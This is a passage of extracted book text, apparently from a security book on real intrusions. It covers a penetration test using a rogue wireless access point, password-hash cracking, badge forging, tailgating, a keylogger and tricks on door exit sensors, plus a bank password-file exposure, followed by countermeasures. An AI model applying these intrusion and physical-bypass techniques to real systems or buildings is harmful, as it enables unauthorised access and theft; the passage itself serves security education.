            "text": "downhill, the attacker is gonna go for the smoothest method, which\nis most likely with people. \nSocial engineering attacks, Dustin advises, should always be part of a\ncompany pen test. (For more on social engineering, see Chapter 10,\n“Social Engineers — How They Work and How to Stop Them.”)\nBut he would be happy to forgo one other part of the repertoire. If he\ndoesn’t have to attempt physical entry, he won’t. For him, it’s a last\nresort, even carrying his get-out-of-jail-free card. “If something’s going\nto go badly wrong, it’ll probably be just when I’m trying to slip into a\nbuilding unnoticed by the security force or some suspicious employee.” \nFinally, the pen-test team also needs to know what the Holy Grail is. In\nthis high-stakes game of electronic sleuthing, it’s vital to know that pre-\ncisely. For the pharmaceuticals company, the Holy Grail was their finan-\ncial records, customers, suppliers, manufacturing processes, and files on\ntheir R&D projects.\nPlanning\nDustin’s plan for the test called for starting by “running silent” — keeping\na low profile, then slowly becoming more and more visible until someone\neventually noticed and raised a flag. The approach grows out of Dustin’s\nphilosophy about pen-test projects, which he refers to as red teaming. \nWhat I try to accomplish in red teaming efforts is from the defen-\nsive posture that I find companies picking up. They think, “Let’s\nassume the attacker’s mentality. How would we defend against\nit?” That’s already strike one against them. They don’t know how\nthey’re going to act or react unless they know what’s important to\nthem.\nI agree; as Sun Tzu wrote: Know thy enemy and thyself, and you will\nbe victorious. \nAll thorough pen tests — when the client agrees — use the same types\nof attack described earlier in this chapter.\nWe identify in our methodology four areas: Technical entry into\nthe network, which is much of what we talk about. Social engi-\nneering, [which for us also includes] eavesdropping and shoulder\nsurfing. Dumpster diving. And then also physical entry. So those\nfour areas. \n(Shoulder surfing is a colorful term for surreptitiously watching an\nemployee type his or her password. An attacker skilled in this art has\nThe Art of Intrusion\n126\n"
        },
        {
            "page_number": 148,
            "text": "learned to watch the flying fingers carefully enough to know what the\nperson has typed, even while pretending not to be paying attention.)\nAttack!\nOn the first day, Dustin walked into Biotech’s lobby. Off to the right of\nthe guard station was a restroom and the company cafeteria, both of\nwhich were readily accessible to visitors. On the other side of the guard\nstation was the same conference room where Dustin’s team had gathered\nfor their initial meeting with the Biotech executives. The guard was cen-\ntrally stationed to watch the primary access to the secured entrances, but\nthe conference room was completely out of his range of vision. Anyone\ncould walk in, no questions asked. Which is exactly what Dustin and his\nteammate did. And then they had plenty of time to take a leisurely look\naround. After all, no one knew they were even there. \nThey discovered a live network jack, presumably for the convenience of\ncompany personnel who wanted to be able to access the corporate net-\nwork during meetings. Plugging in an Ethernet cable from his laptop to\nthe wall jack, Dustin quickly found what he expected: He had access into\nthe network from behind the company’s firewall, which was an open invi-\ntation into the company’s system.\nLike a scene that should have the Mission Impossible music playing in\nthe background, Dustin fastened to the wall a small wireless access device\n(like the one in Figure 6-1) and plugged it into the jack. The device\nwould permit Dustin’s people to penetrate the Biotech network from\ncomputers in a car or van parked nearby but outside the company’s build-\ning. Transmissions from such a “wireless access point” (WAP) device may\nreach distances up to 300 feet. Using a high-gain directional antenna\nallows connecting to the hidden WAP from an even greater distance.\nFigure 6-1: Wireless device of \nthe type used in the attack. \nDustin favors wireless access units that operate on European\nchannels — which gives his pen team a decided advantage, since the fre-\nquencies are much less likely to be detected. Also, “It doesn’t look like a\nChapter 6\nThe Wisdom and Folly of Penetration Testing\n127\n"
        },
        {
            "page_number": 149,
            "text": "wireless access point, so it doesn’t tip people off. I’ve left them up for as\nlong as a month without them being noticed and taken down.”\nWhen he installs one of these units, Dustin also puts up a small but very\nofficial-looking note card that reads, “Property of Information Security\nServices. Do Not Remove.” \nWith temperatures hovering at seven below, neither Dustin nor his\nteam buddies, now wearing jeans and T-shirts to stay in sync with the\nBiotech image, wanted to freeze their butts off sitting in a car parked on\nthe lot. So they appreciated the fact that Biotech had offered the use of\na small room in a nonsecured area of a nearby building. Nothing fancy,\nbut the room was warm, and within range of the wireless device. They\nwere connected — for the company, a little too well connected.\nAs the team began exploring Biotech’s network, the initial tentative\nreconnaissance located approximately 40 machines running Windows that\nhad an administrative account with no password, or with a password of pass-\nword. In other words, they had no security at all, which as noted in earlier\nstories is unfortunately the case on the trusted side of corporate networks,\nwith companies focusing on perimeter security controls to keep the bad\nguys out, but leaving the hosts on the inside vulnerable to attack. An\nattacker who finds a way to penetrate or get around the firewall is home free.\nOnce he had compromised one of those machines, Dustin extracted all\nthe password hashes for every account and ran this file through the\nl0phtCrack program.\nl0phtCrack at Work\nOn a Windows machine, user passwords are stored in encrypted form (a\n“hash”) in an area called the Security Accounts Manager (SAM); the\npasswords are not just encrypted, but encrypted in a scrambled form\nknown as a “one-way hash,” which means the encryption algorithm will\nconvert the plaintext password to its encrypted form but cannot convert\nthe encrypted form back to plaintext.\nThe Windows operating system stores two versions of the hash in the\nSAM. One, the “LAN Manager hash,” or LANMAN, is a legacy version,\na holdover from the pre-NT days. The LANMAN hash is computed from\nthe uppercase version of the user’s password and is divided into two\nhalves of seven characters each. Because of the properties, this type of\nhash is much easier to crack than its successor, NT LAN Manager\n(NTLM), which among other features does not convert the password to\nuppercase characters. \nAs an illustration, here’s an actual hash for a system administrator of a\ncompany I won’t name:\nThe Art of Intrusion\n128\n"
        },
        {
            "page_number": 150,
            "text": "Administrator:500:AA33FDF289D20A799FB3AF221F3220DC:0ABC818FE0\n5A120233838B9131F36BB1::: \nThe section between two colons that begins “AA33” and ends “20DC” is\nthe LANMAN hash. The section from “0ABC” to “6BB1” is the NTLM\nhash. Both are 32 characters long, both represent the same password, but\nthe first is much easier to crack and recover the plaintext password.\nSince most users choose a password that is either a name or a simple\ndictionary word, an attacker usually begins by setting l0phtCrack (or\nwhatever program he’s using) to perform a “dictionary attack” — testing\nevery word in the dictionary to see if it proves to be the user’s password.\nIf the program doesn’t have any success with the dictionary attack, the\nattacker will then start a “brute-force attack,” in which case the program\ntries every possible combination (for example, AAA, AAB, AAC ... ABA,\nABB, ABC, and so on), then tries combinations that include uppercase\nand lowercase, numerals, and symbols.\nAn efficient program like l0phtCrack can break simple, straightforward\npasswords (the kind that maybe 90 percent of the population uses) in\nseconds. The more complicated kind may take hours or days, but almost\nall account passwords succumb in time.\nAccess\nDustin soon had cracked most of the passwords.\nI tried logging into the primary domain controller with the\n[administrator] password, and it worked. They used the same\npassword on the local machine as on the domain account. Now I\nhave administrator rights on the entire domain.\nA primary domain controller (PDC) maintains the master database of\ndomain users accounts. When a user logs in to the domain, the PDC\nauthenticates the login request with the information stored in the PDC’s\ndatabase. This master database of accounts is also copied to the backup\ndomain controller (BDC) as a precaution in the event the PDC goes\ndown. This architecture has been substantially changed with the release of\nWindows 2000. These later versions of windows use what is called Active\nDirectory, but for backward compatibility with old versions of Windows,\nthere is at least one system that acts as the PDC for the domain.\nHe had the keys to Biotech’s kingdom, gaining access to many internal\ndocuments labeled “confidential” or “internal use only.” In his intense way,\nDustin spent hours gathering sensitive information from the highly confi-\ndential drug safety files, which contain detailed information about possible\nill effects caused by the pharmaceuticals the company was studying.\nChapter 6\nThe Wisdom and Folly of Penetration Testing\n129\n"
        },
        {
            "page_number": 151,
            "text": "Because of the nature of Biotech’s business, access to this information is\nstrictly regulated by the Food and Drug Administration, and the success\nof the penetration test would need to be the subject of a formal report to\nthat agency. \nDustin also gained access to the employee database that gave full name,\nemail account, telephone number, department, position, and so forth.\nUsing this information, he was able to select a target for the next phase of\nhis attack. The person he chose was a company systems administrator\ninvolved in overseeing the pen test. “I figured even though I already had\nplenty of sensitive information, I wanted to show that there were multiple\nattack vectors,” meaning more than one way to compromise information. \nThe Callisma team had learned that if you want to enter a secure area,\nthere’s no better way than to blend in with a group of talkative employ-\nees returning from lunch. Compared to morning and evening hours\nwhen people may be edgy and irritable, after lunch they tend to be less\nvigilant, perhaps feeling a bit logy as their system digests the recent meal.\nConversation is friendly, and the camaraderie is filled with free-flowing\nsocial cues. A favorite trick of Dustin’s is to notice someone getting ready\nto leave the cafeteria. He’ll walk ahead of the target and hold the door\nfor him, then follow. Nine times out of ten — even if it leads to a secured\narea — the target will reciprocate by graciously holding the door open\nfor him. And he’s in, no sweat.\nAlarmed\nOnce the target had been selected, the team needed to figure out a way\nto physically enter the secured area, so they could attach to the target’s\ncomputer a keystroke logger — a device that would record every key typed\non the keyboard, even keys typed at startup, before the operating system\nhad loaded. On a system administrator’s machine, this would likely inter-\ncept passwords to a variety of systems on the network. It could also mean\nthe pen testers would be privy to messages about any efforts to detect\ntheir exploits.\nDustin was determined not to risk being caught tailgating. A little\nsocial engineering was called for. With free access to the lobby and cafe-\nteria, he got himself a good look at the employee badges and set about\ncounterfeiting one for himself. The logo was no problem — he simply\ncopied it from the company Web site and pasted it into his design. But it\nwouldn’t need to pass a close-up examination, he was sure. \nOne set of Biotech offices was located in a nearby building, a shared\nfacility with offices rented to a number of different companies. The lobby\nhad a guard on duty, including at night and on weekends, and a familiar\nThe Art of Intrusion\n130\n"
        },
        {
            "page_number": 152,
            "text": "card reader that unlocks the door from the lobby when an employee\nswiped a badge with the correct electronic coding. \nI go up during the weekend, start flashing the false badge that I’d\nmade. I’m flashing the badge across the reader and of course it\ndoesn’t work. The security guard comes, opens the door, and\nsmiles. I smile back, and blow by him.\nWithout a word passing between them, Dustin had successfully gotten\npast the guard, into the secured area.\nBut the Biotech offices still lay secure behind yet another reader.\nWeekend traffic in the building was nil.\nThere’s nobody there on the weekend to tailgate through. So, try-\ning to find an alternate means of entry, I go up a glassed-in\nstaircase to the second level and figure I’ll try the door and see if\nit opens or not. I open it, it opens right up, there’s no badge\nrequirement.\nBut alarms are going off everywhere. Apparently I’m going in\nwhat’s essentially a fire escape. I jump inside, the door slams\nbehind me. On the inside, there’s a sign, “Do not open, alarm\nwill sound.” My heart’s beating 100 miles an hour.\nThe Ghost \nDustin knew exactly which cubicle to head for. The employee database\nthe team had compromised listed actual physical cube location for every\nworker. With the alarm bell still ringing in his ears, he headed for the\ncubicle of his target.\nAn attacker can capture the keystrokes on a computer by installing soft-\nware that will record each key typed, and periodically email the data to a\nspecified address. But, determined to demonstrate to the client that they\nwere vulnerable to being penetrated in a variety of ways, Dustin wanted\nto use a physical means of doing the same thing.\nThe device he chose for the purpose was the Keyghost (see Figure 6-2).\nThis is an innocent-looking object that connects between the keyboard\nand computer, and, because of its miniature size, is almost guaranteed to\ngo unnoticed. One model can hold up to half a million keystrokes, which\nfor the typical computer user represents weeks of typing. (There’s a\ndownside, however. The attacker must make a return trip to the site\nwhen it’s time to recover the logger and read the data.)\nChapter 6\nThe Wisdom and Folly of Penetration Testing\n131\n"
        },
        {
            "page_number": 153,
            "text": "Figure 6-2: The Keyghost keystroke logger. \nIt took Dustin only seconds to unplug the cable from keyboard to\ncomputer, plug in the Keyghost, and reconnect the cable. Getting done\nquickly was very much on his mind because “I’m assuming that the alarm\nis raised, the time’s counting down, my hands are slightly shaky. I’m\ngonna be caught. You know nothing bad is essentially going to happen\nbecause I do have my ‘get-out-of-jail-free’ card, but even so, the adren-\naline is definitely flowing.”\nAs soon as the Keyghost was installed, Dustin walked down the main\nstairway, which landed him near the security station. Applying another\ndose of social engineering, he brazenly confronted the problem.\nI purposely left by the door that was right next to Security. Instead\nof trying to avoid Security on my way out, I went directly up to\n[the guard]. I said, “Look, I’m sorry for setting off the alarm,\nthat was me. I never come over to this building, I didn’t think\nthat would happen, I really apologize.” And the guard said, “Oh,\nno problem.” \nThen he hopped on the phone, so I’m assuming he called somebody\nwhen the alarm went off and now was calling to say “False\nalarm, it’s okay.” \nI didn’t stay around to listen.\nUnchallenged\nThe pen test was drawing to a close. The company’s security executives\nhad been so confident that the pen testers would not be able to penetrate\nthe network and would not be able to gain unauthorized physical access\nto the buildings, yet no team member had been challenged. Dustin had\nslowly been raising the “noise level,” making their presence more and\nmore obvious. Still nothing.\nCurious about how much they could get away with, several team mem-\nbers gained access to a company building by tailgating, lugging with\nthem an enormous antenna, an in-your-face contraption that took a real\neffort to carry. Some employee would surely notice this freaky device,\nwonder about it, and blow the whistle. \nThe Art of Intrusion\n132\n"
        },
        {
            "page_number": 154,
            "text": "So, without badges, the team roamed first one of Biotech’s secured\nbuildings and then the other, for three hours. No one said a single thing\nto them. No one even asked a simple question like “What the hell is that\nthing?” The strongest response came from a security guard who passed\nthem in a hallway, gave them a strange look, and moved on his way with-\nout even a glance back over his shoulder. \nThe Callisma team concluded that, as in most organizations, anyone\ncould walk in off the street, bring in their own equipment, wander\nthroughout the buildings, and never be stopped or asked to explain\nthemselves and show authorization. Dustin and his teammates had\npushed the envelope to an extreme without a challenge.\nHand Warmer Trick\nIt’s called a Request to Exit (REX), and it’s a common feature in many\nbusiness facilities like Biotech’s. Inside a secure area such as a research\nlab, you approach a door to exit and your body triggers a heat or motion\nsensor that releases the lock so you can walk out; if you’re carrying, say,\na rack of test tubes or pushing a bulky cart, you don’t have to stop and\nfumble with some security device to get the door to open. From outside\nthe room, to get in, you must hold up an authorized ID badge to the\ncard reader, or punch in a security code on a keypad. \nDustin noticed that a number of the doors at Biotech outfitted with\nREX had a gap at the bottom. He wondered if he could gain access by\noutsmarting the sensor. If from outside the door he could simulate the\nheat or motion of a human body on the inside of the room, he might be\nable to fool the sensor into opening the door.\nI bought some hand warmers, like you get at any outdoor supply\nstore. Normally, you put them in your pockets to keep warm. I let\none get nice and warm, then hooked it to a stiff wire, which I slid\nunder the door and started fishing up toward the sensor, waving\nit back and forth. \nSure enough, it tripped the lock.\nAnother taken-for-granted security measure had just bitten the dust. \nIn the past, I’ve done something similar. The trick with the type of\naccess-control device designed to detect motion instead of heat is to\nshove a balloon under the door, holding on to the open end. You fill the\nballoon with helium and tie it off the end with a string, then let up float\nup near the sensor and manipulate it. Like Dustin’s hand warmer, with a\nlittle patience, the balloon will do the trick.\nChapter 6\nThe Wisdom and Folly of Penetration Testing\n133\n"
        },
        {
            "page_number": 155,
            "text": "End of the Test\nThe Biotech lights were on but no one was home. Although the com-\npany IT executives claimed they were running intrusion-detection sys-\ntems, and even produced several licenses for host-based intrusion\ndetection, Dustin believes the systems were either not turned on or no\none was really checking the logs.\nWith the project coming to a close, the Keyghost had to be retrieved\nfrom the system administrator’s desk. It had remained in place for two\nweeks without being noticed. Since the device was located in one of the\nmore difficult areas to tailgate, Dustin and a teammate hit the end of\nlunch rush and jumped to grab the door and hold it open, as if being\nhelpful, as an employee started through. Finally, and for the first and only\ntime, they were challenged. The employee asked if they had badges.\nDustin grabbed at his waist and flashed his fake badge, and that casual\nmovement seemed to satisfy. They didn’t look frightened or embarrassed,\nand the employee continued into the building, allowing them to enter as\nwell without further challenge.\nAfter gaining access to the secured area, they made their way to a con-\nference room. On the wall was a large whiteboard with familiar termi-\nnology scribbled on it. Dustin and his colleague realized they were in the\nroom where Biotech held their IT security meetings, a room the com-\npany would definitely not have wanted them to be in. At that moment,\ntheir sponsor walked in, and looked stunned to find them there. Shaking\nhis head, he asked what they were doing. Meanwhile, other Biotech secu-\nrity people were arriving in the meeting room, including the employee\nthey had tailgated at the building entry door. \nHe saw us and said to our sponsor, “Oh, I’d just like you to know\nthat I challenged them on the way in.” This dude was actually\nproud he’d challenged us. Embarrassment is what he should have\nbeen feeling, because his single question challenge wasn’t strong\nenough to find out if we were legitimate.\nThe supervisor whose desk was rigged with the Keyghost also arrived\nfor the meeting. Dustin took advantage of the opportunity and went to\nher cubicle to reclaim his hardware.\nLooking Back\nAt one point during the test, certain someone would notice, Dustin and\nthe team had brazenly scanned the company’s entire network, end to\nend. There wasn’t a single response to this invasive procedure. Despite\nbehaviors that Dustin describes as “screaming and shouting,” the client’s\nThe Art of Intrusion\n134\n"
        },
        {
            "page_number": 156,
            "text": "people never noticed any of the attacks. Even the “noisy” network scans\nto identify any potentially vulnerable systems had never been noticed.\nAt the end we were running scans taking up huge amounts of\nnetwork bandwidth. It was almost as if we were saying, “Hey,\ncatch us!”\nThe team was amazed at how numb the company seemed to be, even\nknowing full well that the pen testers would be trying their damnedest to\nbreak in.\nBy the end of the test, it was bells, whistles, screaming, shouting,\nand rattling pans. Nothing! Not a single flag raised.\nThis was a blast. It was overall my favorite test ever.\nINSIGHT\nAnyone curious about the ethics of a security consultant, whose work\nrequires slipping into places (both literally and figuratively) that an out-\nsider is not supposed to be, will find the techniques of Mudge and Dustin\nDykes enlightening. \nWhile Mudge used only technical methods in the attack he described,\nDustin used some social engineering as well. But he didn’t feel very good\nabout it. He has no qualms with the technical aspects of the work and\nadmits to enjoying every moment of it. But when he has to deceive peo-\nple face to face, he becomes uncomfortable. \nI was trying to rationalize why this is. Why does one rip at me\nand the other has no effect? Maybe we’re brought up not to lie to\npeople, but we’re not taught computer ethics. I would agree that\nthere’s generally less compunction when fooling a machine than\ndeceiving your fellow man.\nStill, despite his qualms, he regularly feels an adrenalin rush whenever\nhe pulls off a smooth social engineering caper.\nAs for Mudge, I think it’s fascinating that, while he wrote a very pop-\nular password-cracking tool, in other areas he relies on methods that are\nthe stock-in-trade of hackers everywhere.\nCOUNTERMEASURES\nMudge identified a default firewall rule that allowed incoming connections\nto any high TCP or UDP port (over 1024) from any packet that had a\nChapter 6\nThe Wisdom and Folly of Penetration Testing\n135\n"
        },
        {
            "page_number": 157,
            "text": "source port of 53, which is the port for DNS. Exploiting this configura-\ntion, he was able to communicate with a service on the target computer\nthat eventually allowed him to gain access to a mount daemon, which\nenables a user to remotely mount a file system. Doing this, he was able\nto gain access to the system by exploiting a weakness in NFS (network\nfile system), and gain access to sensitive information.\nThe countermeasure is to carefully review all firewall rules to ensure\nthey’re consistent with company security policy. During this process,\nkeep in mind that anyone can easily spoof a source port. As such, the fire-\nwall should be configured to allow connectivity only to specific services\nwhen basing the rule on the source port number.\nAs mentioned elsewhere in this book, it’s very important to ensure that\nboth directories and files have proper permissions.\nAfter Mudge and his colleagues successfully hacked into the system,\nthey installed sniffer programs to capture login name and passwords. An\neffective countermeasure would be using programs based on crypto-\ngraphic protocols, such as ssh.\nMany organizations will have policies regarding passwords or other\nauthentication credentials for accessing computer systems, but fall short\non PBX or voicemail systems. Here, the l0pht team had easily cracked\nseveral voicemail box passwords belonging to executives at the target\ncompany, who were using typical default passwords, like 1111, 1234, or\nthe same as the phone extension. The obvious countermeasure is to\nrequire reasonably secure passwords to be set on the voicemail system.\n(Encourage employees not to use their ATM pin either!)\nFor computers containing sensitive information, the method described\nin the chapter for constructing passwords using special nonprinting char-\nacters created with the Num Lock, <Alt> key, and numeric keypad is\nhighly recommended.\nDustin was able to freely walk into Biotech’s conference room, since it\nwas located in a public area. The room had live network jacks that con-\nnected to the company’s internal network. Companies should either dis-\nable these network jacks until needed or segregate the network so that\nthe company’s internal network is not accessible from public areas.\nAnother possibility would be a front-end authentication system that\nrequires a valid account name and password before allowing the person\nto communicate.\nOne method to mitigate tailgating attacks is to modify what social psy-\nchologists call the politeness norm. Through appropriate training, com-\npany personnel need to overcome the discomfort that many of us feel\nabout challenging another person, as often happens when entering a\nbuilding or work area through a secured entrance. Employees properly\nThe Art of Intrusion\n136\n"
        },
        {
            "page_number": 158,
            "text": "trained will know how to politely question about the badge when it’s\napparent the other person is attempting to “tag along” with them\nthrough the entrance. The simple rule should be this: Ask, and if the per-\nson doesn’t have a badge, refer them to security or the receptionist, but\ndon’t allow strangers to accompany you into a secured entrance.\nFabricating phony corporate ID badges offers a too-easy technique for\nwalking into a supposedly secure building unchallenged. Even security\nguards don’t often look at a badge closely enough to tell whether it’s the\ngenuine goods or a fake. This would be tougher to get away with if the\ncompany established (and enforced) a policy calling on employees, con-\ntractors, and temporary workers to remove their badges from public view\nwhen they leave the building, depriving would-be attackers with lots of\nopportunities to get a good look at the badge design.\nWe all know security guards are not going to examine each employee’s\nID card with close scrutiny (which, after all, would be a near impossibil-\nity for even a conscientious guard when streams of people parade past\nfirst thing in the morning and at the end of the day). So, other methods\nof protecting against unwanted entry by an attacker need to be consid-\nered. Installing electronic card readers brings a much higher degree of\nprotection. But in addition, security guards must be trained how to thor-\noughly question anyone whose card is not recognized by the card reader,\nsince, as suggested in the story, the problem may not be a small glitch in\nthe system but an attacker attempting to gain physical entry.\nWhile company-wide security awareness training has been growing\nmuch more common, it’s almost always lacking in a big way. Even com-\npanies with an active program often overlook the need for specialized\ntraining for managers so that they are appropriately equipped to ensure\nthat those under them are following the mandated procedures.\nCompanies that are not training all employees in security are companies\nwith weak security.\nTHE BOTTOM LINE\nIt’s not often that readers are afforded the opportunity of gaining insight\ninto the thinking and the tactics of someone who has contributed signif-\nicantly to the arsenal of hacker’s tools. Mudge and l0phtCrack are in the\nhistory books.\nIn the view of Callisma’s Dustin Dykes, companies asking for a pene-\ntration test often make decisions against their own best interests. You’ll\nnever know how vulnerable your company truly is until you authorize a\nfull-scale, no-holds-barred test that allows social engineering and physi-\ncal entry, as well as technical-based attacks.\nChapter 6\nThe Wisdom and Folly of Penetration Testing\n137\n"
        },
        {
            "page_number": 159,
            "text": ""
        },
        {
            "page_number": 160,
            "text": "139\nChapter 7\nOf Course Your Bank\nIs Secure — Right?\nIf you try to make your systems foolproof, there is always one more fool who\nis more inventive than you.\n— Juhan\nE\nven if other organizations don’t measure up in their security\npractices to bar the door to hackers, at least we’d like to think\nthat our money is safe, that no one can obtain our financial\ninformation or even, nightmare of nightmares, get to our bank accounts\nand issue commands that put our money into their pockets.\nThe bad news is that the security at many banks and financial institu-\ntions is not as good as the people responsible for it imagine it is. The fol-\nlowing stories illustrate the point.\nIN FARAWAY ESTONIA\nThis story illustrates that sometimes even a guy who isn’t a hacker can\nsuccessfully hack into a bank. That’s not good news for the banks, or for\nany of us.\nI have never visited Estonia, and may never get there. The name con-\njures up images of ancient castles surrounded by dark woods and super-\nstitious peasants — the sort of place a stranger doesn’t want to go\nwandering about without an ample stash of wooden stakes and silver bul-\nlets. This ignorant stereotype (helped along by corny low-budget horror\n"
        },
        {
            "page_number": 161,
            "text": "flicks set in Eastern European woods, hamlets, and castles) turns out to\nbe more than a little inaccurate. \nThe facts turn out to be quite different. Estonia is a good deal more\nmodern than I pictured, as I learned from a hacker named Juhan who\nlives there. Twenty-three-year-old Juhan lives alone in a spacious four-\nroom apartment in the heart of the city with “a really high ceiling and a\nlot of colors.” \nEstonia, I learned, is a small country of about 1.3 million (or roughly\nthe population of the city of Philadelphia) stuck between Russia and the\nGulf of Finland. The capital city of Tallinn is still scarred by massive con-\ncrete apartment buildings, drab monuments to the long-dead Soviet\nempire’s attempt to house its subjects as economically as possible. \nJuhan complained, “Sometimes when people want to know about\nEstonia, they ask things like, ‘Do you have doctors? Do you have a uni-\nversity?’ But the fact is that Estonia is joining the European Union on the\nfirst of May [2004].” Many Estonians, he says, are working toward the\nday when they can move out of their cramped Soviet-era apartment to a\nsmall home of their own in a quiet suburb. And they dream of being able\nto “drive a reliable import.” In fact, a lot of people already have cars and\nmore and more people are getting their own homes, “so it’s improving\nevery year.” And technologically, as well, the country is no backwater, as\nJuhan explained: \nEstonia already in the beginning of nineties started to implement\nthe infrastructure of electronic banking, ATMs and Internet\nbanking. It’s very modern. In fact, Estonian companies provide\ncomputer technology and services to other European countries.\nYou might think this would describe a hacker’s heaven: all that Internet\nuse and probably way behind the curve when it comes to security. Not\nso, according to Juhan:\nRegarding the Internet security, this, in general, is a good place\ndue to the fact that the country and communities are so small. It’s\nactually quite convenient for service providers to implement tech-\nnologies. And, regarding the financial sector, I think the fact\nthat enables the Americans to make a connection is that Estonia\nhas never had an infrastructure of bank checks — the checks that\nyou’re using to pay a lot of bills in the shops.\nVery few Estonians ever go into a bank office, he says. “Most people\nhave checking accounts, but don’t know what a bank check looks like.”\nThe Art of Intrusion\n140\n"
        },
        {
            "page_number": 162,
            "text": "Not because they’re unsophisticated about financial things but because,\nin this area, at least, they are ahead of us, as Juhan explains: \nWe’ve never had a large infrastructure of banks. Already, in the\nbeginning of the nineties, we’d started implementing the infra-\nstructure of electronic banking and Internet banking. More than\n90 to 95 percent of people and businesses transferring money to\neach other are using Internet banking.\nAnd they use credit cards, or “bank cards” in the European terminology. \nIt’s more convenient to use direct payment in the form of Internet\nbanking or bank cards, and there is just no reason for people to\nuse checks. Unlike America, nearly everyone here uses the Internet\nfor banking and to pay their bills\nThe Bank of Perogie\nJuhan has been heavily into computers since the tender age of 10, but\ndoesn’t consider himself a hacker, just a white hat serious about security.\nInterviewing him was no problem — he started learning English in\nschool beginning in second grade. The young Estonian has also done a\nlot of studying and traveling abroad, giving him further opportunities to\ndevelop his English conversational skills. \nOne recent winter in Estonia was especially harsh, with polar condi-\ntions, snow banks all around, and temperatures down to minus 25\ndegrees Celsius (13 degrees below zero Fahrenheit). It was so bitter that\neven the locals, who were used to frigid winters, didn’t want to go out\nunless they had to. This was a good time for a computer guy to stay glued\nto his screen, hunting for anything good enough to capture his attention. \nThat’s what Juhan was doing when he stumbled onto the Web site of\nwhat we’ll call the Bank of Perogie. It looked like a target worth exploring. \nI stepped into the interactive FAQ section that allows people to\npost questions. I have the habit of looking into Web page form\nsources. I sort of just got to a Web site and I started to look into\nit. You know the process yourself — you surf around and you just\nbrowse without any strategic purpose. \nHe could see that the file system was the type used by Unix. That\nimmediately narrowed the type of attacks he would try. Viewing the\nsource code of several web pages revealed a hidden variable that pointed\nto a filename. When he tried changing the value stored in the hidden\nform element, “It became clear that they didn’t do any sort of request for\nChapter 7\nOf Course Your Bank Is Secure — Right?\n141\n"
        },
        {
            "page_number": 163,
            "text": "authentication. So whether I submitted input from a bank site or from a\nlocal PC didn’t matter to the bank server,” he said. \nHe changed the attributes of the hidden form element to point to the\npassword file, which allowed him to display the password file on his\nscreen. He discovered that the passwords were not “shadowed,” which\nmeans the standard encrypted form of every account’s password was vis-\nible on his display. So, he was able to download the encrypted passwords\nand run them through a password cracker.\nJuhan’s password cracker program of choice was a well-known one with\nthe deliciously amusing name of “John the Ripper,” which he ran using\na standard English dictionary. Why English instead of Estonian? “It’s\ncommon practice around here to use English passwords.” But the fact is\nthat many Estonians have a good basic knowledge of English. \nThe cracker program didn’t take long, only about 15 minutes on his PC,\nsince the passwords were basic — simple English words with a few num-\nbers tacked on the end. One of them was golden: he recovered the root\npassword, giving him administrator’s privileges. And there was more:\nThere is this one telebanking service that has a trade name which\nI’m not sure if I should mention here, but [I found] an account\nfor that service. It looked like it was probably the system account\nthat was running the services on that server.\nHe didn’t go further in this direction, explaining that “having passwords\nwas the point where I stopped.” Prudence was the name of the game.\nI could get in trouble. After all, I work in the information secu-\nrity business. I had some motivation not to do any harm.\nBut the situation looked too good to be true. I figured it might be\na honey pot, a trap to lure people like me in and then get prose-\ncuted. So I contacted my superiors and they reported it to the bank. \nHis disclosure didn’t get him into hot water with his employer, nor\nwith the bank, but quite the opposite. His company was offered the\nassignment of investigating further and coming up with a solution to\nplug the loophole. Juhan’s company put him on the job, figuring he\ncould finish what he’d already started. \nIt was sort of surprising to me that the events went like that\nbecause actually the Internet security in Estonia is at a better\nlevel than it is elsewhere. This is not determined by me, but is said\nby many people who have come here from other places. So it was\nThe Art of Intrusion\n142\n"
        },
        {
            "page_number": 164,
            "text": "kind of surprising for me to find out this one hole and then how\neasy it was to get my hands on very secret sort of information.\nPersonal Opinion\nFrom experiences like this, Juhan has come to believe it’s in the best\ninterest of a company that finds itself compromised by a hacker not to\nprosecute, but instead work with the hacker to fix whatever problems he\nor she has uncovered — sort of a “if you can’t beat ’em, join ’em” phi-\nlosophy. Of course, the government doesn’t usually see it this way, as\nproven yet again with the hounding of Adrian Lamo (see Chapter 5,\n“The Robin Hood Hacker”), saddled with a felony conviction despite\nthe fact that he (for the most part) provided a public service by advising\ncompanies of their vulnerabilities. Prosecuting can certainly be a lose/\nlose situation, especially if the company never learns the particular vulner-\nabilities the hacker used to infiltrate its network. \nAs a knee-jerk response, firewalls and other defenses are piled on, but\nit’s an approach that may completely overlook the unseen flaws that\nastute hackers may discover, not to mention all the ones already well-\nknown to the hacker community. Juhan captured his view on this in a\nparticularly vivid statement:\nIf you try to make your systems foolproof, there is always one more\nfool who is more inventive than you. \nTHE LONG-DISTANCE BANK HACK\nGabriel speaks French as his native language and lives in a Canadian town\nso small that, even though he describes himself as a white-hat hacker and\nconsiders defacing an act of stupidity, he acknowledges that he’s “done it a\ntime or two when bored to the point of despair,” or when he found a site\n“where security was so shoddy someone needed to be taught a lesson.”\nBut how does a guy in rural Canada come to hack a bank in a state in\nthe southern United States, right in the heart of Dixie? He found a Web\nsite that showed “what IP address ranges (netblocks) were assigned to\nparticular organizations.”1 He searched the list “for words such as gov-\nernment, bank, or whatever,” and it would pop up some IP range (for\nexample, 69.75.68.1 to 69.75.68.254), which he would then scan.\nOne of the items that he stumbled onto was an IP address that\nbelonged to a particular bank in the heart of Dixie. That launched\nGabriel into what would become an intensive hack.\nChapter 7\nOf Course Your Bank Is Secure — Right?\n143\n"
        },
        {
            "page_number": 165,
            "text": "A Hacker Is Made, Not Born\nAt age 15 (which, as you may have noted from previous chapters, ranks\nas a late start, something like taking up basketball in high school and\ngoing on to the NBA), Gabriel had advanced from playing games like\nDoom to hacking with a friend on his 386 machine with its 128MB hard\ndrive. When the machine proved too slow for what he wanted to do,\nGabriel spent what was for him a fortune playing network games at the\nlocal computer café.\nThe world of computers was addictive and sweet relief from the harsh\ncompetitiveness of high school, where Gabriel endured daily teasing by\npeers, simply because he was different. It didn’t help that he was the new\nkid on the block and the youngest in his class, having started his schooling\nin another province before his family moved. No one ever said it was easy\nbeing a geek. \nHis parents, who both work for the government, couldn’t understand\ntheir son’s obsession with the machines, but then this seems a common\nproblem for generations raised in technologically night-and-day time\nperiods. “They never wanted me to buy a computer,” he recalls. What\nthey wanted was that he “just get out and do something else.” Mom and\nDad were so worried about their boy that they sent him to a psycholo-\ngist to help “normalize” him. Whatever happened in those sessions, it\ndefinitely didn’t result in the gangly teenager’s giving up his passion for\ncomputers.\nGabriel took Cisco courses at a local trade college. Completely self-\ntaught, he often knew more than the teachers, who would sometimes\ndefer 